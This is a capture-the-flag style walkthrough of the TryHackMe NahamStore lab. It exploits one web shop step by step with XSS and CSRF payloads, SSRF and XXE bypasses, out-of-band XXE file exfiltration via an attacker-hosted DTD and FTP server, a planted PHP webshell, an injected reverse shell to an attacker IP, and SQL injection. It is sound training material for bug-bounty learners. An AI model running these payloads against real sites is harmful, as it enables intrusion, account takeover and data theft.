Information
Room
Name: NahamStore
Profile: tryhackme.com
Difficulty: Medium
Description : In this room you will learn the basics of bug bounty hunting and web application hacking
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S ffuf nmap sqlmap xxeserv
Task 3 - Recon
I used nmmapper subdomain finder to find sub-domains.
I found 5 unique sub-domains this way:
This gives me the following /etc/hosts
content:
10.10.132.254 nahamstore.thm stock.nahamstore.thm marketing.nahamstore.thm shop.nahamstore.thm nahamstore-2020.nahamstore.thm www.nahamstore.thm
Virtual host enumeration:
$ ffuf -u http://nahamstore.thm -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -H 'Host: FUZZ.nahamstore.thm' -fw 125
...
shop [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 28ms]
www [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 26ms]
marketing [Status: 200, Size: 2025, Words: 692, Lines: 42, Duration: 28ms]
stock [Status: 200, Size: 67, Words: 1, Lines: 1, Duration: 27ms]
That's all we have for now and it doesn't allow us to answer this task so let's
move to another one.
After completing the RCE section and reading the host file we can go forward.
$ ffuf -u 'http://nahamstore-2020-dev.nahamstore.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
...
api [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 23ms]
$ ffuf -u 'http://nahamstore-2020-dev.nahamstore.thm/api/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
customers [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
When we hit http://nahamstore-2020-dev.nahamstore.thm/api/customers/ , there is
an error message: "customer_id is required"
so we know the parameter to provide.
$ curl http://nahamstore-2020-dev.nahamstore.thm/api/customers/?customer_id=1 -s | jq
{
"id": 1,
"name": "Rita Miles",
"email": "rita.miles969@gmail.com",
"tel": "816-719-7115",
"ssn": "366-24-2649"
}
Enumerating over customer id we can find Jimmy Jones
SSN.
Task 4 - XSS
Reflected XSS
There are at least to way to discover the XSS endpoint.
The first is by fuzzing folder on the marketing sub-domain but is only requiring luck
because the redirection that will trigger the error works only when the endpoint
is a valid non-existing id (32 hexadecimal chars) so you need a list including
such things, and as it is useless in most case a pro pentester will most likely
not use such a list. The list directory-list-2.3-medium.txt
is included in
SecLists and also used by old tools like dirbuster. I prefer to use
raft-medium-words-lowercase.txt
or raft-medium-directories-lowercase.txt
in
real life.
$ ffuf -u http://marketing.nahamstore.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
...
$ ffuf -u http://marketing.nahamstore.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic
...
6e6055bd53afb9b6e4394d76e35838c9 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
cfa5301358b9fcbe7aa45b1ceea088c6 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
f05221fb72cfbc1b85256abe00683bc4 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
cdd9dc973c4bf6bc852564ca006418a0 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 27ms]
64356135653039353435383166306330 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
c097c40d3f9a53ff5c7ddfc2f7f1c05c [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
64356135653039353435613034323230 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
64356135653039353435613034616530 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 26ms]
64356135653039353435613033613530 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 24ms]
...
$ ffuf -u http://marketing.nahamstore.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic
...
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
| URL | http://marketing.nahamstore.thm/6e6055bd53afb9b6e4394d76e35838c9
| --> | /?error=Campaign+Not+Found
* FUZZ: 6e6055bd53afb9b6e4394d76e35838c9
...
The second way, which is more probable, is to manually switch one character of
an existing marketing campaign id.
-http://marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642c
+http://marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642a
Both methods will redirect you to the pain page with an error parameter.
http://marketing.nahamstore.thm/?error=Campaign+Not+Found
Instead of the legit error message we can use an XSS payload:
< script > alert ( document . domain . concat ( " \n " ). concat ( window . origin ))</ script >
< script > console . log ( "Test XSS from the search bar of page XYZ \n " . concat ( document . domain ). concat ( " \n " ). concat ( window . origin ))</ script >
Stored XSS
On the order summary page, information from the user-agent is displayed
Putting an XSS payload here works.
HTML tag escape
When we click on the image of a product on the main store page, the name of the
product is controllable in a GET parameter.
http://nahamstore.thm/product?id=1&name=Hoodie+%2B+Tee
This parameter is not controlling the title in <h1>
but is injected in <title>
(name displayed on the browser tab).
We just have to close the title tag to make it execute.
http://nahamstore.thm/product?id=1&name=%3C/title%3E%3Cscript%3Ealert(document.domain.concat(%22\n%22).concat(window.origin))%3C/script%3E
JS variable escape
On http://nahamstore.thm/search page
var search = '' ;
$ . get ( '/search-products?q=' + search , function ( resp ){
if ( resp . length == 0 ){
$ ( '.product-list' ). html ( '<div class="text-center" style="margin:10px">No matching products found</div>' );
} else {
$ . each ( resp , function ( a , b ) {
$ ( '.product-list' ). append ( '<div class="col-md-4">' +
'<div class="product_holder" style="border:1px solid #ececec;padding: 15px;margin-bottom:15px">' +
'<div class="image text-center"><a href="/product?id=' + b . id + '"><img class="img-thumbnail" src="/product/picture/?file=' + b . img + '.jpg"></a></div>' +
'<div class="text-center" style="font-size:20px"><strong><a href="/product?id=' + b . id + '">' + b . name + '</a></strong></div>' +
'<div class="text-center"><strong>$' + b . cost + '</strong></div>' +
'<div class="text-center" style="margin-top:10px"><a href="/product?id=' + b . id + '" class="btn btn-success">View</a></div>' +
'</div>' +
'</div>' );
});
}
A GET request is made to /search-products?q=
. We can either escape the
variable here or query the other endpoint directly.
# Escape
http://nahamstore.thm/search?q=%27%2Balert(document.domain.concat(%22\n%22).concat(window.origin))%2B%27
# No escape needed on the raw endpoint
http://nahamstore.thm/search-product?q=%3Cscript%3Ealert(document.domain.concat(%22\n%22).concat(window.origin))%3C/script%3E
Note: if your want to concat using +
you need to URL encode it (%2B
) since +
is an URL character that means a space it will be interpreted. We can't use concat()
here because we can't close the last parenthesis and it will result in invalid JS.
Hidden param
There is a search embedded on the home page form as we saw earlier:
< form method = "get" action = "/search" >
< div class = "col-xs-9" >
< input class = "form-control" name = "q" placeholder = "Search For Products" value = "" >
</ div >
< div class = "col-cd-3" class = "text-center" >
< button type = "submit" class = "btn btn-default" >< span class = "glyphicon glyphicon-search" ></ span ></ button >
</ div >
</ form >
HTML tag escape
Only the return_info
parameter of the return form is reflected:
< form method = "post" enctype = "multipart/form-data" >
< div >< label >Order Number:</ label ></ div >
< div >< input name = "order_number" class = "form-control" ></ div >
< div style = "margin-top:7px" >< label >Return Reason:</ label ></ div >
< div >
< select class = "form-control" name = "return_reason" >
< option value = "0" >Please Choose...</ option >
< option value = "1" >Wrong Size</ option >
< option value = "2" >Damaged Goods</ option >
< option value = "3" >No Longer Required</ option >
</ select >
</ div >
< div style = "margin-top:7px" >< label >Return Information:</ label ></ div >
< div >< textarea name = "return_info" class = "form-control" ></ textarea ></ div >
< div style = "margin-top:7px" >< input type = "submit" class = "btn btn-success pull-right" value = "Create Return" ></ div >
</ form >
Payload:
</ textarea >< script > alert ( document . domain . concat ( " \n " ). concat ( window . origin ))</ script >
Nonexisting endpoint
When you hit a nonexisting endpoint (eg. http://nahamstore.thm/noraj ) an error
page reflects the path entered.
< div class = "container" style = "margin-top:120px" >
< h1 class = "text-center" >Page Not Found</ h1 >
< p class = "text-center" >Sorry, we couldn't find /noraj anywhere</ p >
</ div >
Payload:
http://nahamstore.thm/%3Cscript%3Ealert(document.domain.concat(%22/n%22).concat(window.origin))%3C/script%3E
Hidden param
On a product page (eg. http://nahamstore.thm/product?id=1&added=1 ), you can
enter a discount code. The name of the POST parameter is discount
:
< div style = "margin-bottom:10px" >< input placeholder = "Discount Code" class = "form-control" name = "discount" value = "" ></ div >
But if you use discount
as a GET param instead, it is reflected on the input
field (eg. http://nahamstore.thm/product?id=1&added=1&discount=noraj ).
We have to escape the attribute, and then include our XSS payload into an event handler, non-interactive payload:
< input placeholder = "Discount Code" class = "form-control" name = "discount" value = "" autofocus = "" onfocus = " alert ( document . domain . concat (" \n ").concat(window.origin))" a = "" >
Payload URL:
http://nahamstore.thm/product?id=1&added=1&discount=%22%20autofocus%20onfocus=alert(document.domain.concat(%22\n%22).concat(window.origin))%20a=%22
Note: it is also possible to find the get param with ffuf fuzzing.
Task 5 - Open Redirect
Open Redirect One
I got this one by fuzzing:
$ ffuf -u 'http://nahamstore.thm/?FUZZ=https://pwn.by/noraj' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fs 4254
...
r [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 88ms]
q [Status: 200, Size: 4274, Words: 985, Lines: 83, Duration: 145ms]
Payload:
http://nahamstore.thm?r=https://pwn.by/noraj
Open Redirect Two
When you try to access an authenticated-only page, you are redirected to the
login page and a redirection parameter is added to keep a trace of where you
came from (eg. http://nahamstore.thm/login?redirect_url=/account/settings ).
You can put an URL in redirect_url
param
(eg. http://nahamstore.thm/login?redirect_url=https://pwn.by/noraj ) and when
logging in we are redirected to the URL.
Task 6 - CSRF
No protection
The password change page
doesn't have any CSRF protection.
CSRF PoC:
< html >
< body >
< form action = "http://nahamstore.thm/account/settings/password" >
< input type = "submit" value = "Submit request" />
</ form >
< script >
document . forms [ 0 ]. submit ();
</ script >
</ body >
</ html >
Tag removal bypass
On the email change page there is
a CSRF protection (hidden input field with an anti-CSRF token).
< form method = "post" >
< input type = "hidden" name = "csrf_protect" value = "eyJkYXRhIjoiZXlKMWMyVnlYMmxrSWpvMExDSjBhVzFsYzNSaGJYQWlPaUl4TmpNeE1EUXdNREkySW4wPSIsInNpZ25hdHVyZSI6IjQyZWY1OWJlNTM2YTcxOTU5ZDQ0OGJmODc1N2Q1NDZhIn0=" >
< div >< label >Email:</ label ></ div >
< div >< input class = "form-control" name = "change_email" value = "noraj@noraj.fr" ></ div >
< div style = "margin-top:7px" >
< input type = "submit" class = "btn btn-success pull-right" value = "Change Email" ></ div >
</ form >
Providing a wrong value will fail but removing the parameter will bypass the
protection.
Weak protection
On the account disable page
there is a very weak CSRF protection, also using a hidden input field but the
value is just the user id base64 encoded instead of being a random string.
< form method = "post" >
< input type = "hidden" name = "action" value = "disable" >
< input type = "hidden" name = "csrf_disable_protect" value = "NA==" >
< p ></ p >
< div style = "margin-top:7px" >
< p >Please only click the below button if you are 100% sure you wish to disable your account. All your data will be lost.</ p >
< input type = "submit" class = "btn btn-danger pull-right" value = "Disable Account" ></ div >
</ form >
$ printf %s 'NA==' | base64 -d
4
Task 7 - IDOR
Leak addresses
To exploit the first IDOR, you need to:
place an order
go to the basket
select your address
This will send a POST request with the id of your address.
Host : nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Referer : http://nahamstore.thm/basket
Content-Type : application/x-www-form-urlencoded
Content-Length : 12
Origin : http://nahamstore.thm
Connection : keep-alive
Cookie : session=8147bb4dd9865d738f81a7c33b3a5e0b; token=b6e5b7c772627db8abb8628a1fa22f4c
Upgrade-Insecure-Requests : 1
Pragma : no-cache
Cache-Control : no-cache
address_id=5
By replaying the request with other ID you will be able to quickly find an
address in New York.
Leak order details
To exploit the second IDOR, you need to:
place and complete an order
go to the order page and select it
click on the PDF Receipt
button
Let's look at the form here:
< form method = "post" action = "/pdf-generator" target = "_blank" >
< input type = "hidden" name = "what" value = "order" >
< input type = "hidden" name = "id" value = "4" >
< input type = "submit" class = "btn btn-success" value = "PDF Receipt" >
</ form >
The POST request to http://nahamstore.thm/pdf-generator looks like:
Host : nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Content-Type : application/x-www-form-urlencoded
Content-Length : 15
Origin : http://nahamstore.thm
Connection : keep-alive
Referer : http://nahamstore.thm/account/orders/4
Cookie : session=8147bb4dd9865d738f81a7c33b3a5e0b; token=b6e5b7c772627db8abb8628a1fa22f4c
Upgrade-Insecure-Requests : 1
what=order&id=4
But if I change the ID to 3 I have the following error message:
Order does not belong to this user_id
But adding the user_id
simply doesn't work, it's ignored.
what=order&id=3&user_id=3
The idea was to URL encode it &
sign so that 3&user_id=3
becomes the value of id
.
what=order&id=3%26user_id=3
Task 8 - Local File Inclusion
To load product image a request to
http://nahamstore.thm/product/picture/?file=cbf45788a7c3ff5c2fab3cbe740595d4.jpg
is made.
Classic path traversal doesn't work, you have to double the payload to
escape a probable filter on the ../
payload.
http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//lfi/flag.txt
Task 9 - SSRF
There is a Check stock button on the product page.
Host : nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept : */*
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With : XMLHttpRequest
Content-Length : 40
Origin : http://nahamstore.thm
Connection : keep-alive
Referer : http://nahamstore.thm/product?id=2
Cookie : session=080da6b6e0c775c7d781585e64504c7d
product_id=2&server=stock.nahamstore.thm
The server
parameter value seems to be a domain name.
But if we put another value, we have an error about the bad server name so we
must keep stock.nahamstore.thm
and still find a way to bypass it.
With server=stock.nahamstore.thm@127.0.0.1
we have a 404 for page /product/2
.
Hopefully, adding #
looks like to behave like we commented the appended path,
because with server=stock.nahamstore.thm@127.0.0.1#
we are hitting the home
page.
Let's try to discover an internal sub-domain:
$ ffuf -u 'http://nahamstore.thm/stockcheck' -c -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -X POST -d 'product_id=2&server=stock.nahamstore.thm@FUZZ.nahamstore.thm#'
We found one internal-api.nahamstore.thm
:
payload:
server=stock.nahamstore.thm@internal-api.nahamstore.thm#
answer:
{ "server" : "internal-api.nahamstore.com" , "endpoints" :[ " \/ orders" ]}
We have an endpoint:
payload:
server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders#
answer:
[
{
"id" : "4dbc51716426d49f524e10d4437a5f5a" ,
"endpoint" : " \/ orders \/ 4dbc51716426d49f524e10d4437a5f5a"
},
{
"id" : "5ae19241b4b55a360e677fdd9084c21c" ,
"endpoint" : " \/ orders \/ 5ae19241b4b55a360e677fdd9084c21c"
},
{
"id" : "70ac2193c8049fcea7101884fd4ef58e" ,
"endpoint" : " \/ orders \/ 70ac2193c8049fcea7101884fd4ef58e"
}
]
Let's try every order:
payload:
server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders/5ae19241b4b55a360e677fdd9084c21c#
answer:
{
"id" : "5ae19241b4b55a360e677fdd9084c21c" ,
"customer" : {
"id" : 2 ,
"name" : "Jimmy Jones" ,
"email" : "jd.jones1997@yahoo.com" ,
"tel" : "501-392-5473" ,
"address" : {
"line_1" : "3999 Clay Lick Road" ,
"city" : "Englewood" ,
"state" : "Colorado" ,
"zipcode" : "80112"
},
"items" : [
{
"name" : "Hoodie + Tee" ,
"cost" : "25.00"
}
],
"payment" : {
"type" : "MasterCard" ,
"number" : "edited" ,
"expires" : "11 \/ 2023" ,
"CVV2" : "223"
}
}
}
Task 10 - XXE
Inbound XXE
We can query a product of the stock.
$ curl http://stock.nahamstore.thm/product/1
{"id":1,"name":"Hoodie + Tee","stock":56}
But is we switch from GET method to POST method we have an error about a HTTP
header missing:
$ curl -X POST http://stock.nahamstore.thm/product/1
["Missing header X-Token"]
Let's try to add it.
$ curl -X POST 'http://stock.nahamstore.thm/product/1' -H 'X-Token: xxx'
["X-Token xxx is invalid"]
Of course the provided token is invalid.
It's time to abandon curl and fire Burp, it will be easier to play with
the POST body.
By fuzzing GET param (even if it's a POST request), we encounter an error with
a XML body when we add xml
GET param:
Request:
POST /product/1?xml HTTP / 1.1
Host : stock.nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Connection : close
Upgrade-Insecure-Requests : 1
Cache-Control : max-age=0
Content-Type : application/x-www-form-urlencoded
Content-Length : 0
X-Token : xxx
Answer:
HTTP/1.1 400 Bad Request
Server : nginx/1.14.0 (Ubuntu)
Date : Sun, 17 Oct 2021 13:41:24 GMT
Content-Type : application/xml; charset=utf-8
Connection : close
Content-Length : 71
<? xml version = "1.0" ?>
< data >< error >Invalid XML supplied</ error ></ data >
Fine let's try a XML body then and change the content type.
Request:
POST /product/1?xml HTTP / 1.1
Host : stock.nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Connection : close
Upgrade-Insecure-Requests : 1
Cache-Control : max-age=0
Content-Type : application/xml; charset=utf-8
Content-Length : 36
X-Token : xxx
<? xml version = "1.0" ?>
< data ></ data >
Answer:
HTTP/1.1 400 Bad Request
Server : nginx/1.14.0 (Ubuntu)
Date : Sun, 17 Oct 2021 13:44:31 GMT
Content-Type : application/xml; charset=utf-8
Connection : close
Content-Length : 71
<? xml version = "1.0" ?>
< data >< error >X-Token not supplied</ error ></ data >
The error suggest we did not provide X-Token
even if we have the HTTP
header present. It means in XML mode the HTTP header is ignored and must
be expecting a XML value.
Request:
<? xml version = "1.0" ?>
< data >< X-Token >
noraj
</ X-Token >
</ data >
Answer:
<? xml version = "1.0" ?>
< data >< error >X-Token
noraj
is invalid</ error ></ data >
Since the value we provided is reflected, the first thing that come to
mind is to perform an XXE attack.
We can confirm it with this payload, that returns exactly the same answer
as previously.
<? xml version = "1.0" ?>
<! DOCTYPE replace [ <! ENTITY xxe "noraj" > ] >
< data >< X-Token >
& xxe ;
</ X-Token >
</ data >
We can perform a local file disclosure via the XXE:
Request:
<? xml version = "1.0" ?>
<! DOCTYPE data [ <!ELEMENT data ANY> <! ENTITY xxe SYSTEM "/etc/passwd" > ] >
< data >< X-Token >
& xxe ;
</ X-Token >
</ data >
Answer:
<? xml version = "1.0" ?>
< data >< error >X-Token
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
is invalid</ error ></ data >
We just have to request /flag.txt
now.
OOB XXE
There is a page that let us upload xlsx files: http://nahamstore.thm/staff
But what is an XLSX? Just a zip with XML files inside. So if value are
extracted from it there is a chance for XXE.
We can consult PayloadsAllTheThings for
OOB
& XLSX
payloads (OOB because the values are not reflected).
First I created a spreadsheet file with LibreOffice Calc (xxe.xlsx
).
Let's extract the ZIP:
I added my OOB XXE payload inside xl/workbook.xml
.
<? xml version = "1.0" encoding = "UTF-8" standalone = "yes" ?>
<! DOCTYPE cdl [ <!ELEMENT cdl ANY ><! ENTITY % asd SYSTEM "http://10.9.19.77:8000/xxe.dtd" > %asd;%c;] >
< cdl > & rrr ; </ cdl >
< workbook xmlns = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" >
...
Let's rebuild the spreadsheet:
$ cd XXE
$ 7z u ../xxe.xlsx *
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
Instead we build the document once and then change the DTD.
And using FTP instead of HTTP allows to retrieve much larger files.
xxe.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://10.9.19.77:2121/%d;'>">
Start the FTP + HTTP server:
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
Then we just have to files.log
be we can see it is empty.
So in the DTD file I change the payload from file:///etc/passwd
to
php://filter/convert.base64-encode/resource=/flag.txt
to bypass the
restriction.
This time the content was retrieved:
$ cat files.log
USER: anonymous
PASS: anonymous
//e2Q2YjIyY2<EDITED>hmfQo=
SIZE
MDTM
USER: anonymous
PASS: anonymous
SIZE
PASV
Decode it:
$ printf %s 'e2Q2YjIyY2<EDITED>hmfQo=' | base64 -d
{d6<EDITED>8f}
Task 11 - RCE
PHP webshell
By enumerating we quickly find an admin
path:
$ ffuf -u 'http://nahamstore.thm:8000/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
...
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 29ms]
We can login at http://nahamstore.thm:8000/admin/login with admin
/ admin
.
The admin panel allows to modify the templates of the page displayed at
http://marketing.nahamstore.thm/
I replaced the description paragraph with a simple webshell:
< ? php
if ( isset ( $_REQUEST [ 'cmd' ])){
echo "<pre>" ;
$cmd = ( $_REQUEST [ 'cmd' ]);
system ( $cmd );
echo "</pre>" ;
die ;
}
? >
Then it's easy to execute a command: http://marketing.nahamstore.thm/09c2afcff60bb4dd3af7c5c5d74a482f?cmd=id
Blind RCE
We already found an IDOR in the user_id
param of the PDF generator function
(PDF Receipt) but there is also a RCE in the id
one.
POST /pdf-generator HTTP / 1.1
Host : nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Content-Type : application/x-www-form-urlencoded
Content-Length : 149
Origin : http://nahamstore.thm
Connection : close
Referer : http://nahamstore.thm/account/orders/4
Cookie : session=f69a6bbf9707cd343f5c785bf3e1babf; token=3ae63d82407f185b85eafe959865f6cf
Upgrade-Insecure-Requests : 1
what=order&id=4$(php+-r+'$sock%3dfsockopen("10.9.19.77",9999)%3b$proc%3dproc_open("/bin/bash",+array(0%3d>$sock,+1%3d>$sock,+2%3d>$sock),$pipes)%3b')
From here we can read /etc/hosts
and find some useful domains for the recon section.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.4 2431fe29a4b0
127.0.0.1 nahamstore.thm
127.0.0.1 www.nahamstore.thm
172.17.0.1 stock.nahamstore.thm
172.17.0.1 marketing.nahamstore.thm
172.17.0.1 shop.nahamstore.thm
172.17.0.1 nahamstore-2020.nahamstore.thm
172.17.0.1 nahamstore-2020-dev.nahamstore.thm
10.131.104.72 internal-api.nahamstore.thm
Task 12 - SQLi
In-band SQLi
This one is one of the easiest to identify: an error-based SQLi in the id
parameter.
http://nahamstore.thm/product?id='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1
It's quite easy to enumerate the number of columns manually and the course
material gives the table to look at.
id = 0 UNION SELECT 1 ,flag, 3 , 4 , 5 from sqli_one -- -
Inferential SQLi
The second one is pretty hard to identify. It happens in the return request:
POST /returns HTTP / 1.1
Host : nahamstore.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Content-Type : multipart/form-data; boundary=---------------------------196738110536624442341531028487
Content-Length : 422
Origin : http://nahamstore.thm
Connection : close
Referer : http://nahamstore.thm/returns
Cookie : session=f69a6bbf9707cd343f5c785bf3e1babf; token=3ae63d82407f185b85eafe959865f6cf
Upgrade-Insecure-Requests : 1
-----------------------------196738110536624442341531028487
Content-Disposition : form-data; name="order_number"
4
-----------------------------196738110536624442341531028487
Content-Disposition : form-data; name="return_reason"
1
-----------------------------196738110536624442341531028487
Content-Disposition : form-data; name="return_info"
aze
-----------------------------196738110536624442341531028487--
The easiest way to exploit it will be to save the request to a file and pass it
to sqlmap.
$ sqlmap -r $(pwd)/req.txt --level 5 --risk 3 --batch --threads 10 -D nahamstore -T sqli_two -C flag --dump